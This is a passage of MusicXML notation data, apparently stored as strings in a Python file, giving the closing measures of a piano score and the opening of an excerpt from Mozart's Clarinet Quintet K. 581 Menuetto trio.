<duration>4</duration>
<voice>4</voice>
<type>eighth</type>
<staff>2</staff>
</note>
</measure>
<!--=======================================================-->
<measure number="22" width="390">
<note default-x="22">
<rest/>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<staff>1</staff>
</note>
<note default-x="114">
<rest/>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<staff>1</staff>
</note>
<direction placement="below">
<direction-type>
<wedge default-y="-55" spread="0" type="crescendo"/>
</direction-type>
<offset>1</offset>
<staff>1</staff>
</direction>
<note default-x="159">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="21">up</stem>
<staff>1</staff>
<notations>
<tied orientation="under" type="start"/>
</notations>
</note>
<note default-x="205">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>4</duration>
<tie type="stop"/>
<voice>1</voice>
<type>eighth</type>
<stem default-y="21">up</stem>
<staff>1</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<direction>
<direction-type>
<wedge spread="15" type="stop"/>
</direction-type>
<staff>1</staff>
</direction>
<note default-x="296">
<rest/>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<staff>1</staff>
</note>
<note default-x="342">
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="26">up</stem>
<staff>1</staff>
<notations>
<tied orientation="under" type="start"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="22">
<pitch>
<step>B</step>
<alter>-1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<accidental>flat</accidental>
<stem default-y="58">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur default-x="7" default-y="-6" number="1" placement="below" type="start"/>
</notations>
</note>
<note default-x="68">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="61">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="114">
<pitch>
<step>G</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<accidental>natural</accidental>
<stem default-y="65">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="159">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<slur number="1" type="stop"/>
</notations>
</note>
<note default-x="205">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="54">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur default-x="7" default-y="-16" number="1" placement="below" type="start"/>
</notations>
</note>
<note default-x="251">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="58">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="296">
<pitch>
<step>G</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="61">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="342">
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<slur number="1" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="22">
<pitch>
<step>B</step>
<alter>-1</alter>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>4</voice>
<type>quarter</type>
<accidental>flat</accidental>
<stem default-y="-30.5">down</stem>
<staff>2</staff>
</note>
<note default-x="205">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-35.5">down</stem>
<staff>2</staff>
</note>
</measure>
<!--=======================================================-->
<measure number="23" width="365">
<print new-system="yes">
<staff-layout number="2">
<staff-distance>110</staff-distance>
</staff-layout>
</print>
<note default-x="111">
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>4</duration>
<tie type="stop"/>
<voice>1</voice>
<type>eighth</type>
<stem default-y="26">up</stem>
<staff>1</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="174">
<rest>
<display-step>F</display-step>
<display-octave>5</display-octave>
</rest>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<staff>1</staff>
</note>
<note default-x="237">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-57">down</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
</note>
<note default-x="269">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-51.5">down</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="301">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<accidental>sharp</accidental>
<stem default-y="-45.5">down</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="332">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-40">down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="111">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="48.5">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur bezier-x="39" bezier-y="71" default-x="13" default-y="53" number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="143">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="52">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="174">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="56">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="206">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>8</duration>
</backup>
<note default-x="111">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-55.5">down</stem>
<staff>2</staff>
</note>
<note default-x="237">
<rest>
<display-step>D</display-step>
<display-octave>3</display-octave>
</rest>
<duration>4</duration>
<voice>4</voice>
<type>eighth</type>
<staff>2</staff>
</note>
<note default-x="301">
<rest>
<display-step>D</display-step>
<display-octave>3</display-octave>
</rest>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<staff>2</staff>
</note>
<note default-x="332">
<pitch>
<step>B</step>
<octave>2</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="-60.5">down</stem>
<staff>2</staff>
</note>
</measure>
<!--=======================================================-->
<measure number="24" width="303">
<note default-x="23">
<pitch>
<step>E</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<accidental>sharp</accidental>
<stem default-y="23">up</stem>
<staff>1</staff>
<notations>
<slur bezier-x="-114" bezier-y="27" default-x="8" default-y="13" number="1" type="stop"/>
</notations>
</note>
<direction placement="below">
<direction-type>
<words default-y="-75" font-style="italic">ritard.</words>
</direction-type>
<direction-type>
<dashes default-y="-73" number="1" type="start"/>
</direction-type>
<staff>1</staff>
</direction>
<note default-x="162">
<rest>
<display-step>A</display-step>
<display-octave>5</display-octave>
</rest>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<staff>1</staff>
</note>
<note default-x="196">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="22">up</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur bezier-x="73" bezier-y="39" default-x="14" default-y="37" number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="231">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="22">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="266">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="22">up</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<tied orientation="over" type="start"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>8</duration>
<voice>2</voice>
<staff>1</staff>
</forward>
<note default-x="162">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem default-y="-60.5">down</stem>
<staff>1</staff>
<notations>
<slur bezier-x="-43" bezier-y="8" default-x="6" default-y="-15" number="2" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="23">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="43.5">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur bezier-x="18" bezier-y="44" default-x="14" default-y="48" number="2" placement="above" type="start"/>
</notations>
</note>
<note default-x="58">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="47">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="93">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="51">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="128">
<pitch>
<step>E</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<accidental>sharp</accidental>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>8</duration>
</backup>
<note default-x="23">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>12</duration>
<voice>4</voice>
<type>quarter</type>
<dot/>
<stem default-y="-58">down</stem>
<staff>2</staff>
</note>
<note default-x="231">
<rest>
<display-step>D</display-step>
<display-octave>3</display-octave>
</rest>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<staff>2</staff>
</note>
<note default-x="266">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="-58">down</stem>
<staff>2</staff>
</note>
</measure>
<!--=======================================================-->
<measure number="25" width="286">
<note default-x="10">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<tie type="start"/>
<voice>1</voice>
<type>quarter</type>
<stem default-y="18">up</stem>
<staff>1</staff>
<notations>
<tied type="stop"/>
<tied orientation="over" type="start"/>
</notations>
</note>
<note default-x="152">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<tie type="stop"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="185">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="218">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="251">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>8</duration>
<voice>2</voice>
<staff>1</staff>
</forward>
<note default-x="152">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem default-y="-63">down</stem>
<staff>1</staff>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="10">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="2" placement="above" type="start"/>
</notations>
</note>
<note default-x="47">
<pitch>
<step>A</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<accidental>sharp</accidental>
<stem default-y="43.5">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="80">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="47">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="113">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>3</voice>
<type>16th</type>
<stem default-y="50">up</stem>
<staff>2</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<tied orientation="over" type="start"/>
<slur number="2" type="stop"/>
</notations>
</note>
<note default-x="152">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<tie type="stop"/>
<voice>3</voice>
<type>eighth</type>
<stem default-y="-30.5">down</stem>
<staff>2</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<backup>
<duration>12</duration>
</backup>
<note default-x="10">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>12</duration>
<voice>4</voice>
<type>quarter</type>
<dot/>
<stem default-y="-55.5">down</stem>
<staff>2</staff>
</note>
<note default-x="218">
<rest>
<display-step>D</display-step>
<display-octave>3</display-octave>
</rest>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<staff>2</staff>
</note>
<note default-x="251">
<pitch>
<step>B</step>
<octave>2</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="-60.5">down</stem>
<staff>2</staff>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>4</duration>
<voice>5</voice>
<staff>2</staff>
</forward>
<note default-x="80">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<tie type="start"/>
<voice>5</voice>
<type>eighth</type>
<stem default-y="-30.5">down</stem>
<staff>2</staff>
<notations>
<tied orientation="under" type="start"/>
</notations>
</note>
<note default-x="152">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<tie type="stop"/>
<voice>5</voice>
<type>eighth</type>
<stem default-y="-30.5">down</stem>
<staff>2</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
</measure>
<!--=======================================================-->
<measure number="26" width="246">
<note default-x="23">
<pitch>
<step>E</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>16</duration>
<voice>1</voice>
<type>half</type>
<accidental>sharp</accidental>
<stem default-y="21">up</stem>
<staff>1</staff>
<notations>
<slur bezier-x="-39" bezier-y="71" default-x="8" default-y="29" number="1" type="stop"/>
<fermata default-y="32" type="upright"/>
</notations>
</note>
<direction placement="below">
<direction-type>
<dashes number="1" type="stop"/>
</direction-type>
<offset>-8</offset>
<staff>1</staff>
</direction>
<backup>
<duration>16</duration>
</backup>
<direction placement="below">
<direction-type>
<pedal default-y="-105" line="no" type="start"/>
</direction-type>
<staff>2</staff>
<sound damper-pedal="yes"/>
</direction>
<note default-x="23">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="43.5">up</stem>
<notehead filled="no">normal</notehead>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="55">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="47">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="87">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="51">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="120">
<pitch>
<step>E</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>3</voice>
<type>16th</type>
<accidental>sharp</accidental>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<tied orientation="under" type="start"/>
</notations>
</note>
<direction placement="below">
<direction-type>
<pedal default-y="-105" line="no" type="stop"/>
</direction-type>
<offset sound="yes">4</offset>
<staff>2</staff>
<sound damper-pedal="no"/>
</direction>
<note default-x="154">
<pitch>
<step>E</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<voice>3</voice>
<type>quarter</type>
<stem>down</stem>
<staff>1</staff>
<notations>
<tied type="stop"/>
<slur number="1" type="stop"/>
<fermata default-y="158" type="upright"/>
</notations>
</note>
<note default-x="154">
<chord/>
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>3</voice>
<type>quarter</type>
<stem>down</stem>
<staff>1</staff>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="23">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>16</duration>
<voice>4</voice>
<type>half</type>
<stem default-y="-58">down</stem>
<staff>2</staff>
<notations>
<fermata type="inverted"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>4</duration>
<voice>5</voice>
<staff>2</staff>
</forward>
<note default-x="87">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>4</duration>
<tie type="start"/>
<voice>5</voice>
<type>eighth</type>
<stem default-y="-25.5">down</stem>
<staff>2</staff>
<notations>
<tied orientation="over" type="start"/>
</notations>
</note>
<note default-x="154">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<voice>5</voice>
<type>quarter</type>
<stem default-y="-25.5">down</stem>
<staff>2</staff>
<notations>
<tied type="stop"/>
<fermata default-y="25" type="upright"/>
</notations>
</note>
<barline location="right">
<bar-style>light-heavy</bar-style>
</barline>
</measure>
</part>
<!--=========================================================-->
</score-partwise>
"""
mozartTrioK581Excerpt = """<?xml version="1.0" standalone="no"?>
<!DOCTYPE score-partwise PUBLIC "-//Recordare//DTD MusicXML 1.0 Partwise//EN" "http://www.musicxml.org/dtds/partwise.dtd">
<score-partwise>
<work>
<work-number>K. 581</work-number>
<work-title>Quintet for Clarinet and Strings</work-title>
</work>
<movement-number>3</movement-number>
<movement-title>Menuetto (Excerpt from Second Trio)</movement-title>
<identification>
<creator type="composer">Wolfgang Amadeus Mozart</creator>
<rights>Copyright © 2003 Recordare LLC</rights>
<encoding>
<software>Finale 2003 for Windows</software>
<software>Dolet for Finale 1.3</software>
<encoding-date>2003-12-05</encoding-date>
</encoding>
</identification>
<part-list>
<part-group type="start" number="1">
<group-symbol>bracket</group-symbol>
</part-group>
<score-part id="P1">
<part-name>clarinet in A</part-name>
<score-instrument id="P1-I1">
<instrument-name>Clarinet</instrument-name>
</score-instrument>
<midi-instrument id="P1-I1">
<midi-channel>1</midi-channel>
<midi-program>72</midi-program>
</midi-instrument>
</score-part>
<score-part id="P2">
<part-name>violino I</part-name>
<score-instrument id="P2-I3">
<instrument-name>Violin</instrument-name>
</score-instrument>
<midi-instrument id="P2-I3">
<midi-channel>3</midi-channel>
<midi-program>41</midi-program>
</midi-instrument>
</score-part>
<score-part id="P3">
<part-name>violino II</part-name>
<score-instrument id="P3-I4">
<instrument-name>Violin II</instrument-name>
</score-instrument>
<midi-instrument id="P3-I4">
<midi-channel>4</midi-channel>
<midi-program>41</midi-program>
</midi-instrument>
</score-part>
<score-part id="P4">
<part-name>viola</part-name>
<score-instrument id="P4-I5">
<instrument-name>Viola</instrument-name>
</score-instrument>
<midi-instrument id="P4-I5">
<midi-channel>6</midi-channel>
<midi-program>42</midi-program>
</midi-instrument>
</score-part>
<score-part id="P5">
<part-name>violoncello</part-name>
<score-instrument id="P5-I6">
<instrument-name>Cello</instrument-name>
</score-instrument>
<midi-instrument id="P5-I6">
<midi-channel>5</midi-channel>
<midi-program>43</midi-program>
</midi-instrument>
</score-part>
<part-group type="stop" number="1"/>
</part-list>
<part id="P1">
<measure number="0" implicit="yes">
<attributes>
<divisions>6</divisions>
<key>
<fifths>0</fifths>
<mode>major</mode>
</key>
<time>
<beats>3</beats>
<beat-type>4</beat-type>
</time>
<clef>
<sign>G</sign>
<line>2</line>
</clef>
<transpose>
<diatonic>-2</diatonic>
<chromatic>-3</chromatic>
</transpose>
</attributes>
<direction placement="below">
<direction-type>
<dynamics relative-y="6" relative-x="-14">
<p/>
</dynamics>
</direction-type>
<sound dynamics="54"/>
</direction>
<note>
<pitch>
<step>C</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
<notations>
<slur type="start" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
</measure>
<measure number="1">
<note>
<pitch>
<step>G</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>C</step>
<octave>6</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>G</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
<notations>
<slur type="start" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
</measure>
<measure number="2">
<note>
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>F</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>A</step>
<octave>5</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>F</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
<notations>
<slur type="start" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
</measure>
<measure number="3">
<note>
<pitch>
<step>C</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>G</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>F</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
</measure>
<measure number="4">
<note>
<pitch>
<step>D</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>quarter</type>
<accidental>sharp</accidental>
<stem>down</stem>
<notations>
<slur type="start" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>C</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
<notations>
<slur type="start" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
</measure>
<measure number="5">
<note>
<pitch>
<step>G</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>C</step>
<octave>6</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>G</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
<notations>
<slur type="start" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
</measure>
<measure number="6">
<note>
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<accidental>natural</accidental>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>F</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>A</step>
<octave>5</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<note>
<rest/>
<duration>6</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="7">
<note>
<rest/>
<duration>18</duration>
<voice>1</voice>
</note>
</measure>
<measure number="8">
<print new-system="yes"/>
<note>
<rest/>
<duration>6</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<rest/>
<duration>6</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>eighth</type>
<time-modification>
<actual-notes>3</actual-notes>
